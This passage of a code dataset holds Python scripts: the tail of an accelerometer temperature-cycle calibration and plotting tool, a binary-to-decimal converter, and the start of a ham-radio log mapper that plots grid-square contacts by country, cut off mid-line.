Neg4p[np.where(Neg4pOutLiers==1)]\r\n #Number of 4p:\r\n GradNeg4p=np.gradient(Neg4p)\r\n peaks= find_peaks(GradNeg4p,distance=40) # distance should be smaller than 4point samples at -1g\r\n numOf4p = int(len(peaks[0]))+1\r\n #size of areas of interest:\r\n meanArea = int(np.ceil(np.mean(np.diff(peaks[0]))))\r\n \r\n #%% find 4points indexes for beginning and end of each 4point section\r\n \r\n startEnd4p=[]\r\n if(cont):\r\n #clustering gradients indexes for each -1g area of 4p \r\n kmeans = KMeans(init = 'k-means++',n_clusters = numOf4p)\r\n Neg4p_y_kmeans = kmeans.fit_predict(Neg4p.reshape(-1,1))\r\n #orientation:\r\n orientation =1\r\n for i in range(numOf4p):\r\n midNeg4p= math.ceil(np.median(Neg4p[np.where(Neg4p_y_kmeans==i)]))#middle of Neg4p\r\n startEnd4p.append([midNeg4p-int(meanArea*2.5)-2*delta,midNeg4p+int(1.5*meanArea)+4*delta])\r\n else:\r\n grad =np.gradient(dataTcyc[:,0])\r\n #clustering grad into 2 clusters to find indForCalc \r\n kmeans = KMeans(init = 'k-means++',n_clusters = 2)\r\n indForCalc_y_kmeans = kmeans.fit_predict(abs(grad).reshape(-1,1)) \r\n indForCalc = np.where(indForCalc_y_kmeans==1)[0] #first filter\r\n #clustering gradients indexes for each 4p \r\n kmeans = KMeans(init = 'k-means++',n_clusters = numOf4p)\r\n y_kmeans = kmeans.fit_predict(indForCalc.reshape(-1,1)) \r\n #orientation:\r\n orientation = int(len(find_peaks(grad[indForCalc[0]-500:indForCalc[0]+1500],height=0.75*max(abs(grad[indForCalc[0]:indForCalc[0]+1200])))[0])==3) \r\n #LOF: Local Outliers Factor to find outliers areas with high gradients other than requested 20/06/2021\r\n clf = LocalOutlierFactor(n_neighbors=8)\r\n indexesOf4Ps = []\r\n for i in range(numOf4p):\r\n temp = indForCalc[np.where(y_kmeans==i)]\r\n outliersGradients = clf.fit_predict(temp.reshape(-1, 1))\r\n temp = temp[np.where(outliersGradients==1)]\r\n indexesOf4Ps.append(temp) \r\n startEnd4p.append([indexesOf4Ps[i][0]-2*delta,indexesOf4Ps[i][-1]+2*delta])\r\n startEnd4p.sort()\r\n startEnd4p[-1][1] = min(startEnd4p[-1][1],len(dataTcyc))\r\n \r\n #%% creates allfpa and indexes:\r\n gradIndexes = []\r\n Indexes = []\r\n allfpa = []\r\n for i in range(numOf4p):\r\n with suppress_stdout_stderr(): # using the func. while avoiding stdout printing in console\r\n FourPointareas, allfpares = FourPointCalc(dataTcyc[startEnd4p[i][0]:startEnd4p[i][1]],startEnd4p[i][0],orientation,cont)\r\n Indexes.append([FourPointareas[0][0],FourPointareas[0][1],FourPointareas[1][0],FourPointareas[1][1],FourPointareas[2][0],FourPointareas[2][1],FourPointareas[3][0],FourPointareas[3][1]]) #stars&end points for all 4 areas of each 4p test\r\n #indexes of data to calculate 4p measurements - SEND TO IF 0\r\n gradIndexes.append(list(range(int(Indexes[i][0]),int(Indexes[i][1])))+list(range(int(Indexes[i][2]),int(Indexes[i][3])))+list(range(int(Indexes[i][4]),int(Indexes[i][5])))+list(range(int(Indexes[i][6]),int(Indexes[i][7])))) \r\n allfpa.append(allfpares)\r\n allfpa=np.array(allfpa) # [mbit/g]; [g]; [mrad]; [V]\r\n print('Total of four points in Tcycle:',numOf4p)\r\n \r\n #%% Tsensor:\r\n \r\n tv = allfpa[:,-1]\r\n \r\n T_sesnitivity = (max(tv)-min(tv))/(temps[\"High1\"]-temps[\"Low\"]) # [V/C]\r\n T_offset = max(tv)/T_sesnitivity-temps[\"High1\"] # [C]\r\n \r\n if cycle1: # generate Tsensor info\r\n Tsensor =dict(sensitivity=T_sesnitivity,offset=T_offset)\r\n np.save('Tsensor.npy',Tsensor)\r\n else: # use Tsensor info from first cycle\r\n external_Tsensor = np.load('Tsensor.npy',allow_pickle='TRUE').item()\r\n Tsensor = external_Tsensor.copy()\r\n \r\n print('Temperature sensor before calibration: Offset',round(Tsensor[\"offset\"]),'[C] ; Sensitivty',round(1000*Tsensor[\"sensitivity\"],1),'[mV/C]')\r\n \r\n tc = tv/Tsensor[\"sensitivity\"]-Tsensor[\"offset\"]\r\n allfpa = np.append(allfpa,tc[:,None],axis=1) # [mbit/g] [g] [mrad] [tV] [tC]\r\n \r\n #temp_v = dict(min_tv = min(tv),fp1_tv = tv[0],max_tv = max(tv))\r\n \r\n \r\n # Tsensor.update(sensitivity=T_sesnitivity,offset=T_offset)\r\n #read_dictionary = np.load('Tsensor.npy',allow_pickle='TRUE').item()\r\n \r\n #%% filtering 4p areas\r\n fpIndToFilter=[]\r\n dataTcycFiltered = dataTcyc\r\n for i in range(numOf4p):\r\n fpIndToFilter.extend(list(range(startEnd4p[i][0],startEnd4p[i][1])))\r\n dataTcycFiltered = np.delete(dataTcyc, np.array(fpIndToFilter),axis = 0)\r\n \r\n alldatag = 1000000*dataTcycFiltered[:,0]/np.mean(allfpa[:,0]) # [mg]\r\n alltempe = dataTcycFiltered[:,1] # [V]\r\n alltempec = alltempe/Tsensor[\"sensitivity\"]-Tsensor[\"offset\"] # [C]\r\n \r\n #%% spikes finder\r\n # =============================================================================\r\n # filteredGrad = np.gradient(dataTcycFiltered[:,0])\r\n # # filtering local outliers from dataTcycFiltered\r\n # clf = LocalOutlierFactor(n_neighbors=30)\r\n # outliersfilteredGrad = clf.fit_predict(filteredGrad.reshape(-1, 1))\r\n # dataTcycFiltered=dataTcycFiltered[np.where(outliersfilteredGrad==-1)]\r\n # =============================================================================\r\n \r\n #%% Poly calculations\r\n SFp = np.polyfit(tv,allfpa[:,0],poly_rank) # SF poly\r\n Bp=np.polyfit(tv,allfpa[:,1],poly_rank) # Bias poly\r\n MAp=np.polyfit(tv,allfpa[:,2],poly_rank) # MA poly\r\n \r\n if cycle1: # save poly ana allfpa if it is first cycle\r\n poly = dict(SFp = SFp,Bp = Bp,MAp = MAp)\r\n np.save('poly.npy',poly)\r\n np.save('allfpa.npy',allfpa)\r\n else: # use poly from first cycle. load first cycle allfpa as well for reference\r\n external_allfpa = np.load('allfpa.npy')\r\n external_poly = np.load('poly.npy',allow_pickle='TRUE').item()\r\n poly = external_poly.copy()\r\n SFp = poly[\"SFp\"]\r\n Bp = poly[\"Bp\"]\r\n MAp = poly[\"MAp\"]\r\n \r\n SFcom = np.polyval(SFp,tv) # SF compensating values [bit/g]\r\n SFer = 1000000*(allfpa[:,0]-SFcom)/allfpa[:,0] # SF error [ppm]\r\n Bcom = np.polyval(Bp,tv) # Bias compensating values [g]\r\n Ber = 1000000*(allfpa[:,1] - Bcom) # Bias error [ug]\r\n MAcom = np.polyval(MAp,tv) # MA compensating values\r\n MAer = 1*(allfpa[:,2] - MAcom) # MA error [mrad]\r\n \r\n # Residual error, mean error, max error:\r\n SFerr = dict(std_err = np.std(SFer),mean_err = np.mean(SFer),max_err = max(abs(SFer))) # [ppm]\r\n Berr = dict(std_err = np.std(Ber),mean_err = np.mean(Ber),max_err = max(abs(Ber))) # [ug]\r\n MAerr = dict(std_err = 1000*np.std(MAer),mean_err = 1000*np.mean(MAer),max_err = 1000*max(abs(MAer))) # [urad]\r\n \r\n print('Bias residual error STD is:',round(Berr[\"std_err\"]),'[ug]')\r\n if not(cycle1):\r\n print('Bias residual mean error is:',round(Berr[\"mean_err\"]),'[ug]')\r\n \r\n #%% Tcycle Bias Delta:\r\n \r\n Tcycle_delta_bias_err = Ber[-1] - Ber[0] # [ug]\r\n Tcycle_p2p_bias_err = max(Ber) - min(Ber) # [ug]\r\n TcycleDeltaBias = dict(TDB_err = Tcycle_delta_bias_err,TDB_abs = abs(Tcycle_delta_bias_err),TDB_p2p = Tcycle_p2p_bias_err)\r\n print('Tcycle delta bias error is:',round(min(Ber)),'[ug]')\r\n \r\n #%% FULL temperature range sensitivities calculation (from poly):\r\n if cycle1:\r\n tv2 = list(range(temps[\"Low\"],temps[\"High1\"]+1))\r\n else:\r\n tv2 = list(range(temps[\"Low\"],temps[\"High2\"]+1))\r\n \r\n tv2 = (tv2+Tsensor[\"offset\"])*Tsensor[\"sensitivity\"]\r\n SFbyPol = np.polyval(SFp,tv2) # [mbit/g]\r\n BiasbyPol = np.polyval(Bp,tv2) # [g]\r\n MAbyPol = np.polyval(MAp,tv2); # [mrad]\r\n \r\n SensPoly_SF = 1000000*np.diff(SFbyPol)/np.mean(allfpa[:,0]) # SF sensitivities [ppm/C]\r\n SensPoly_Bias = 1000000*np.diff(BiasbyPol) # Bias sensitivities [ug/C]\r\n SensPoly_MA = 1000*np.diff(MAbyPol) # MA sensitivities [urad/C]\r\n \r\n MaxSensPoly_SF = max(abs(SensPoly_SF)); # max SF sensitivity [ppm/C]\r\n MaxSensPoly_Bias = max(abs(SensPoly_Bias)); # max Bias sensitivity [ug/C]\r\n MaxSensPoly_MA = max(abs(SensPoly_MA)); # max MA sensitivity [urad/C]\r\n \r\n MaxSensPoly = dict(SF = MaxSensPoly_SF,Bias = MaxSensPoly_Bias,MA = MaxSensPoly_MA)\r\n \r\n #%% FULL temperature range sensitivities calculation (between adjacent fpoints):\r\n \r\n SensSteps_Temp = np.diff(allfpa[:,4]) # delta temp C between steps\r\n SensSteps_SF = 1000000*np.diff(allfpa[:,0])/(SensSteps_Temp)/np.mean(allfpa[:,0]) # SF sensitivities [ppm/C]\r\n SensSteps_Bias = 1000000*np.diff(allfpa[:,1])/(SensSteps_Temp) # Bias sensitivities [ug/C]\r\n SensSteps_MA = 1000*np.diff(allfpa[:,2])/(SensSteps_Temp) # MA sensitivities [urad/C]\r\n \r\n if cont: # Remove steps sensitivity calculation for Max Temp due to high temperature drift:\r\n max_T_step = np.where(allfpa[:,4] == max(allfpa[:,4]))[0][0]\r\n SensSteps_Temp = np.delete(SensSteps_Temp,max_T_step-1)\r\n SensSteps_SF = np.delete(SensSteps_SF,max_T_step-1)\r\n SensSteps_Bias = np.delete(SensSteps_Bias,max_T_step-1)\r\n SensSteps_MA = np.delete(SensSteps_MA,max_T_step-1)\r\n \r\n # Remove steps where temperature change is smaller than 1C, to avoid dividing by small value\r\n RemoveFromSteps = np.where(abs(SensSteps_Temp)<1)[0]\r\n SensSteps_Temp = np.delete(SensSteps_Temp,RemoveFromSteps)\r\n SensSteps_SF = np.delete(SensSteps_SF,RemoveFromSteps)\r\n SensSteps_Bias = np.delete(SensSteps_Bias,RemoveFromSteps)\r\n SensSteps_MA = np.delete(SensSteps_MA,RemoveFromSteps) \r\n SensSteps = dict(Temp = SensSteps_Temp,SF = SensSteps_SF,Bias = SensSteps_Bias,MA = SensSteps_MA)\r\n \r\n MaxSensSteps_SF = max(abs(SensSteps[\"SF\"])) # max SF sensitivity [ppm/C]\r\n MaxSensSteps_Bias = max(abs(SensSteps[\"Bias\"])) # max Bias sensitivity [ug/C]\r\n MaxSensSteps_MA = max(abs(SensSteps[\"MA\"])) # max MA sensitivity [urad/C]\r\n MaxSensSteps = dict(SF = MaxSensSteps_SF,Bias = MaxSensSteps_Bias,MA = MaxSensSteps_MA)\r\n print('Bias sensitivity:',round(MaxSensSteps[\"Bias\"]),'[ug/C]')\r\n \r\n #%% saving results: added at 20/06/2021 11:20\r\n if cycle1:\r\n Tcyc_Results = np.array([MaxSensSteps_SF,SFerr[\"std_err\"],MaxSensSteps_Bias,Berr[\"std_err\"],MaxSensSteps_MA,MAerr[\"std_err\"],SFerr[\"mean_err\"],Berr[\"mean_err\"],MAerr[\"mean_err\"],0,0,0,Tcycle_delta_bias_err]).reshape(1, -1)\r\n np.save('Tcyc_1_Results.npy',Tcyc_Results)\r\n else:\r\n Tcyc_Results = np.array([SFerr[\"std_err\"],Berr[\"std_err\"],MAerr[\"std_err\"],SFerr[\"mean_err\"],Berr[\"mean_err\"],MAerr[\"mean_err\"],Tcycle_delta_bias_err]).reshape(1, -1)\r\n np.save('Tcyc_2_Results.npy',Tcyc_Results)\r\n \r\n #%% smoothed data for plots:\r\n \r\n all_sf = np.polyval(SFp,alltempe) # [bit/g]\r\n all_bias = np.polyval(Bp,alltempe) # [g]\r\n datacomp = 1000*(1000*dataTcycFiltered[:,0]/all_sf - all_bias) # [mg] compensated\r\n \r\n #%% plots:\r\n \r\n if 0: # perform decimation for displayed alldata plots\r\n alldatag = decimate(alldatag,decimation_factor,20,'fir')\r\n alltempec = decimate(alltempec,decimation_factor,20,'fir') \r\n datacomp = decimate(datacomp,decimation_factor,20,'fir')\r\n \r\n alldatag_s = smooth(alldatag,100) # [mg]\r\n alltempec_s = smooth(alltempec,100) # [C]\r\n datacompds = smooth(datacomp,100*decimation_factor) # [mg] compensated\r\n \r\n t = time.time()\r\n \r\n plot_folder = Folder_path[0]\r\n timeline_all = np.arange(len(dataTcyc[:,0]))/f_sample/60/60 #Hours\r\n timeline_filt = np.arange(len(alldatag))/f_sample/60/60 #Hours\r\n plt.rcParams['axes.formatter.useoffset'] = False\r\n \r\n # All Temp. Cycle raw data (acc and temp)\r\n host = host_subplot(111)\r\n par = host.twinx()\r\n p1, = host.plot(timeline_all,dataTcyc[:,0]/abs(allfpa[0,0])*1000000,'royalblue',linewidth=0.5,label='Acceleration')\r\n p2, = par.plot(timeline_all,dataTcyc[:,1],'coral',linewidth=0.5,label='Temperature')\r\n host.set_xlabel('Time [Hours]')\r\n host.set_ylabel('Acceleration [mg]')\r\n par.set_ylabel('Temperature [V]')\r\n plt.title('Temp. Cycle Raw Data - %s' %deviceName)\r\n cursor = Cursor(host, useblit=True, color='red', linewidth=2)\r\n host.grid(color='lightgrey',linewidth=0.5)\r\n host.yaxis.get_label().set_color(p1.get_color())\r\n par.yaxis.get_label().set_color(p2.get_color())\r\n # leg = plt.legend(loc='best')\r\n # leg.texts[0].set_color(p1.get_color())\r\n # leg.texts[1].set_color(p2.get_color())\r\n w=host.figure.get_figwidth()\r\n h=host.figure.get_figheight()\r\n host.figure.set_size_inches(1.5*w,h*1.5)\r\n host.figure.savefig(os.path.join(plot_folder,'Tcyc_all_raw_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # All Temp. Cycle data filtered w/o 4p\r\n host = host_subplot(111)\r\n par = host.twinx()\r\n p1, = host.plot(timeline_filt,alldatag_s,'royalblue',linewidth=0.5,label='Acceleration')\r\n p2, = par.plot(timeline_filt,alltempec_s,'coral',linewidth=0.5,label='Temperature')\r\n host.set_xlabel('Time [Hours]')\r\n host.set_ylabel('Acceleration [mg]')\r\n par.set_ylabel('Temperature [$^\\circ$C]')\r\n plt.title('Temp. Cycle All Data w/o 4p - %s' %deviceName)\r\n cursor = Cursor(host, useblit=True, color='red', linewidth=2)\r\n host.grid(color='lightgrey',linewidth=0.5)\r\n host.yaxis.get_label().set_color(p1.get_color())\r\n par.yaxis.get_label().set_color(p2.get_color())\r\n # leg = plt.legend(loc='best')\r\n # leg.texts[0].set_color(p1.get_color())\r\n # leg.texts[1].set_color(p2.get_color())\r\n w=host.figure.get_figwidth()\r\n h=host.figure.get_figheight()\r\n host.figure.set_size_inches(1.5*w,h*1.5)\r\n host.figure.savefig(os.path.join(plot_folder,'Tcyc_all_data_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # All Temp. Cycle Acc Vs Temp\r\n fig = plt.figure()\r\n plt.plot(alltempec_s,alldatag_s,'royalblue',linewidth=0.4)\r\n plt.title('Temp. Cycle Acc vs. Temp - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('Output [mg]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n # plt.ylim([math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s))])\r\n # plt.yticks(np.arange(math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s)),1))\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_all_vs_temp_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # Tcycle All Bias\r\n if cycle1: # use own poly\r\n fig = plt.figure()\r\n plt.plot(allfpa[:,4],1000*allfpa[:,1],'royalblue',linewidth=0.5,label='Temp. Cycle')\r\n plt.plot(allfpa[:,4],1000*Bcom,'magenta',dashes=[8, 4],linewidth=0.5,label='Poly. order: %d' %poly_rank)\r\n else: # use external poly\r\n if 0: # delete, for debug while creating script\r\n external_allfpa = deepcopy(allfpa)\r\n external_allfpa[:,1] = external_allfpa[:,1]+2/1000\r\n fig = plt.figure()\r\n plt.plot(external_allfpa[:,4],1000*external_allfpa[:,1],'royalblue',linewidth=0.5,label='Temp. Cycle 1')\r\n plt.plot(allfpa[:,4],1000*allfpa[:,1],'green',linewidth=0.5,label='Temp. Cycle 2')\r\n plt.plot(allfpa[:,4],1000*Bcom,'magenta',dashes=[8, 4],linewidth=0.5,label='Poly. order: %d' %poly_rank)\r\n plt.title('Temp. Cycle All Bias - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('Bias [mg]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n leg = plt.legend(loc='best')\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_Bias_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.plot(allfpa[0,4],1000*allfpa[0,1],'r.-',linewidth=0.5,label='')\r\n plt.close()\r\n # plt.show()\r\n \r\n # Tcycle All SF\r\n if cycle1: # use own poly\r\n fig = plt.figure()\r\n plt.plot(allfpa[:,4],allfpa[:,0],'royalblue',linewidth=0.5,label='Temp. Cycle')\r\n plt.plot(allfpa[:,4],SFcom,'magenta',dashes=[8, 4],linewidth=0.5,label='Poly. order: %d' %poly_rank)\r\n else: # use external poly\r\n if 0: # delete, for debug while creating script\r\n external_allfpa = deepcopy(allfpa)\r\n external_allfpa[:,0] = external_allfpa[:,0]+0.01\r\n fig = plt.figure()\r\n plt.plot(external_allfpa[:,4],external_allfpa[:,0],'royalblue',linewidth=0.5,label='Temp. Cycle 1')\r\n plt.plot(allfpa[:,4],allfpa[:,0],'green',linewidth=0.5,label='Temp. Cycle 2')\r\n plt.plot(allfpa[:,4],SFcom,'magenta',dashes=[8, 4],linewidth=0.5,label='Poly. order: %d' %poly_rank)\r\n plt.title('Temp. Cycle All SF - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('SF [0.5mLSB/g]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n leg = plt.legend(loc='best')\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_SF_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # Tcycle All MA\r\n if cycle1: # use own poly\r\n fig = plt.figure()\r\n plt.plot(allfpa[:,4],allfpa[:,2],'royalblue',linewidth=0.5,label='Temp. Cycle')\r\n plt.plot(allfpa[:,4],MAcom,'magenta',dashes=[8, 4],linewidth=0.5,label='Poly. order: %d' %poly_rank)\r\n else: # use external poly\r\n if 0: # delete, for debug while creating script\r\n external_allfpa = deepcopy(allfpa)\r\n external_allfpa[:,2] = external_allfpa[:,2]+0.2\r\n fig = plt.figure()\r\n plt.plot(external_allfpa[:,4],external_allfpa[:,2],'royalblue',linewidth=0.5,label='Temp. Cycle 1')\r\n plt.plot(allfpa[:,4],allfpa[:,2],'green',linewidth=0.5,label='Temp. Cycle 2')\r\n plt.plot(allfpa[:,4],MAcom,'magenta',dashes=[8, 4],linewidth=0.5,label='Poly. order: %d' %poly_rank)\r\n plt.title('Temp. Cycle All MA - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('MA [mrad]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n leg = plt.legend(loc='best')\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_MA_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # SF error Vs Temp\r\n fig = plt.figure()\r\n plt.plot(allfpa[:,4],SFer,'royalblue',linewidth=0.4)\r\n plt.title('Temp. Cycle SF Error - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('SF Error [ppm]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n # plt.ylim([math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s))])\r\n # plt.yticks(np.arange(math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s)),1))\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_ER_SF_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # Bias error Vs Temp\r\n fig = plt.figure()\r\n plt.plot(allfpa[:,4],Ber,'royalblue',linewidth=0.4)\r\n plt.title('Temp. Cycle Bias Error - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('Bias Error [$\\mu$g]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n # plt.ylim([math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s))])\r\n # plt.yticks(np.arange(math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s)),1))\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_ER_Bias_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # MA error Vs Temp\r\n fig = plt.figure()\r\n plt.plot(allfpa[:,4],1000*MAer,'royalblue',linewidth=0.4)\r\n plt.title('Temp. Cycle MA Error - %s'%deviceName)\r\n plt.xlabel('Temperature [$^\\circ$C]')\r\n plt.ylabel('MA Error [$\\mu$rad]')\r\n plt.grid(color='lightgrey',linewidth=0.5)\r\n # plt.ylim([math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s))])\r\n # plt.yticks(np.arange(math.floor(min(alldatag_s)),math.ceil(1+max(alldatag_s)),1))\r\n w=fig.get_figwidth()\r\n h=fig.get_figheight()\r\n fig.set_size_inches(1.5*w,h*1.5)\r\n fig.savefig(os.path.join(plot_folder,'Tcyc_ER_MA_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # All Temp. Cycle data filtered w/o 4p - compensated\r\n host = host_subplot(111)\r\n par = host.twinx()\r\n p1, = host.plot(timeline_filt,datacompds,'royalblue',linewidth=0.5,label='Acceleration')\r\n p2, = par.plot(timeline_filt,alltempec_s,'coral',linewidth=0.5,label='Temperature')\r\n host.set_xlabel('Time [Hours]')\r\n host.set_ylabel('Acceleration [mg]')\r\n par.set_ylabel('Temperature [$^\\circ$C]')\r\n plt.title('Temp. Cycle Acceleration (Compensated) - %s' %deviceName)\r\n cursor = Cursor(host, useblit=True, color='red', linewidth=2)\r\n host.grid(color='lightgrey',linewidth=0.5)\r\n host.yaxis.get_label().set_color(p1.get_color())\r\n par.yaxis.get_label().set_color(p2.get_color())\r\n # leg = plt.legend(loc='best')\r\n # leg.texts[0].set_color(p1.get_color())\r\n # leg.texts[1].set_color(p2.get_color())\r\n w=host.figure.get_figwidth()\r\n h=host.figure.get_figheight()\r\n host.figure.set_size_inches(1.5*w,h*1.5)\r\n host.figure.savefig(os.path.join(plot_folder,'Tcyc_data_comp_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n # All Temp. Cycle data filtered w/o 4p - compensated residual\r\n host = host_subplot(111)\r\n par = host.twinx()\r\n p1, = host.plot(timeline_filt,1000*(datacompds-statistics.mean(datacompds)),'royalblue',linewidth=0.5,label='Acceleration')\r\n p2, = par.plot(timeline_filt,alltempec_s,'coral',linewidth=0.5,label='Temperature')\r\n host.set_xlabel('Time [Hours]')\r\n host.set_ylabel('Acceleration Residual Error [$\\mu$g]')\r\n par.set_ylabel('Temperature [$^\\circ$C]')\r\n plt.title('Temp. Cycle Acceleration Residual Error - %s' %deviceName)\r\n cursor = Cursor(host, useblit=True, color='red', linewidth=2)\r\n host.grid(color='lightgrey',linewidth=0.5)\r\n host.yaxis.get_label().set_color(p1.get_color())\r\n par.yaxis.get_label().set_color(p2.get_color())\r\n # leg = plt.legend(loc='best')\r\n # leg.texts[0].set_color(p1.get_color())\r\n # leg.texts[1].set_color(p2.get_color())\r\n w=host.figure.get_figwidth()\r\n h=host.figure.get_figheight()\r\n host.figure.set_size_inches(1.5*w,h*1.5)\r\n host.figure.savefig(os.path.join(plot_folder,'Tcyc_data_res_%s%s.png'%(label,deviceName)),transparent=True,dpi=200)\r\n plt.close()\r\n # plt.show()\r\n \r\n elpse2 = time.time()-t\r\n print('plots time:',round(elpse2,2),'[sec]')\r\n \r\n #%%Output res\r\n return plot_folder","sub_path":"TcyclesAnalyzerA02.py","file_name":"TcyclesAnalyzerA02.py","file_ext":"py","file_size_in_byte":26989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"460259323","text":"def decimal(Bin):\r\n power = 0\r\n Dec = 0\r\n while Bin > 0:\r\n rem = Bin % 10\r\n Dec = Dec + rem * 2**(power)\r\n Bin //= 10\r\n power += 1\r\n return Dec\r\n \r\n\r\nif __name__ == \"__main__\":\r\n Bin = int(input(\"Enter the binary number.\"))\r\n print(decimal(Bin))\r\n","sub_path":"Python programs/BinaryToDecimal.py","file_name":"BinaryToDecimal.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"578591784","text":"#import mdbread\nimport maidenhead\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport numpy as np\nimport pandas as pd\nimport reverse_geocode\nfrom matplotlib.collections import PatchCollection\nfrom matplotlib.patches import Polygon\nfrom mpl_toolkits.basemap import Basemap\nimport pypyodbc\n\n'''\ndb = mdbread.MDB(\"LogData.mdb\")\ntabs = db.tables\ntab = db['tblContacts']\ndf = tab.to_data_frame()\n\n'''\nconn = pypyodbc.win_connect_mdb('C:\\\\Users\\\\rhkin\\\\Documents\\\\Affirmatech\\\\N3FJP Software\\\\ACLog\\\\LogData.mdb')\n\ndf = pd.io.sql.read_sql('SELECT fldgridr, fldqslr, fldmode FROM tblContacts', con=conn)\ndf = df.convert_objects(convert_numeric=True)\n#df.dropna(how='all', inplace=True)\n\nconn.close()\n\n\n\n#print(df.columns)\n'''\ndf = df[df['fldrstr']<20.0]\nplt.figure()\ndf['fldrsts'].plot.hist(bins=50)\nplt.figure()\ndf['fldrstr'].plot.hist(bins=50)\n#plt.figure()\ndf.plot.scatter('fldrsts','fldrstr')\nplt.show()\n'''\n\nlat = []\nlon = []\ncountries = []\ncountries2 = []\ncolors = []\nsymbols = []\n\n# m = Basemap(projection='npaeqd', llcrnrlat= -90, urcrnrlat= 90, \\\n# resolution='i', llcrnrlon=-180+offset, urcrnrlon=180+offset, \\\n# boundinglat=10, lon_0=-122)\nm = Basemap(projection='cyl', resolution='l', llcrnrlat=-90, urcrnrlat=90, \\\n llcrnrlon=-180, urcrnrlon=180)\n\nfor index, row in df.iterrows():\n grid = row['fldgridr']\n qsl = row['fldqslr']\n sgrid = str(grid)\n if (len(sgrid) > 1 and len(sgrid) < 9):\n x, y = maidenhead.toLoc(sgrid)\n if len(sgrid)==4:\n x += (-1 if x>=0 else 1)\n y += (-2 if y>=0 else 2)\n elif len(sgrid)==6:\n x += (-0.04166667 if x>=0 else 0.04166667)\n y += (-0.08333333 if y>=0 else 0.08333333)\n\n c = reverse_geocode.search([(x, y)])\n # x, y = m(x, y)\n lat.append(x)\n lon.append(y)\n if (qsl == 'Y'):\n colors.append('green')\n if(~countries.__contains__(c[0]['country_code'])):\n countries.append(c[0]['country_code'])\n if (countries2.__contains__(c[0]['country_code'])):\n countries2.remove(c[0]['country_code'])\n else:\n colors.append('yellow')\n if countries2.__contains__(c[0]['country_code']) == False and \\\n countries.__contains__(c[0]['country_code']) == False:\n countries2.append(c[0]['country_code'])\n mode = row['fldmode']\n if mode == 'SSB':\n s = 'o'\n else:\n s = 'D'\n symbols.append(s)\n\ndf2 = pd.DataFrame(\n {'lat': lat,\n 'lon': lon,\n 'colors': colors,\n 'symbols': symbols\n })\n\ncountries = list(set(countries))\ncountries.append('AQ')\n#print countries\n\n#fig = plt.figure(figsize=(17, 9))\nfig = plt.figure()\n\nax = fig.add_subplot(111, axisbg='w', frame_on=False)\n\nm.readshapefile('ne_10m_admin_0_countries_lakes', 'units', color='#444444', linewidth=.2)\n\nfor info, shape in zip(m.units_info, m.units):\n iso2 = info['ISO_A2']\n patches = [Polygon(np.array(shape), True)]\n pc = PatchCollection(patches)\n #pc.set_edgecolor('#FFFFFFFF')\n pc.set_facecolor('#00000000')\n #pc.set_color('#00000030')\n #pc.set_linewidth(20)\n mpl.rcParams['hatch.linewidth'] = 2\n if iso2 in countries:\n #pc.set_edgecolor('#00FF00FF')\n #mpl.rcParams['hatch.color']='#00FF0080'\n pc.set_facecolor('#00FF0080')\n #pc.set_hatch('////')\n if iso2 in countries2:\n 